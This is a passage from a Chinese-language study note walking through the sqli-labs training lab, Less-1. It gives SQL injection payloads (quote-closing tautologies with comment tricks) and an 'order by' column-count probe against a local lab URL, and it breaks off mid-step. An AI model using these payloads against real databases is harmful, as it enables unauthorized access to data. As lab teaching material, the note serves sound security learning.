sqli-lab详解——做题笔记1-10（入门级注解）

（题目标题是自己翻译的，水平和理解有限，可能翻译的不够准确到位，可能也不是专业术语，仅供参考，见谅！）
less-1 基于报错-单引号字符串
源码：SELECT * FROM users WHERE id=’$id’ LIMIT 0,1
答案及解析：
http://127.0.0.1/sqli-labs-master/Less-1/?id=
’ or ‘1’='1
’ or 1=1 --+ （–后要加空格才能注释，但是在网址栏输入时最后加空格解析时会被去掉，所以用+，当然用%20也行）
’ or 1=1 # （火狐下在url栏用#注释会报错，改成url编码%23即可）
只要闭合单引号，构造出正确的查询语句即可。但这步只是判断出了SQL注入漏洞的类型，后面还需要进行一系列操作才能获得我们需要的信息，通常是使用联合查询+注释即可获取数据库内容。
进一步操作：
1.首先需要判断数据库字段数，以便后面使用联合查询

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4--+

其中4是指数据库列数，我们需要不断的换、猜获得，当数字大于数据库列，会得到报错，小于等于则正常返回。题目中数据库有3列，猜到4时报错，改为3则正确

2.然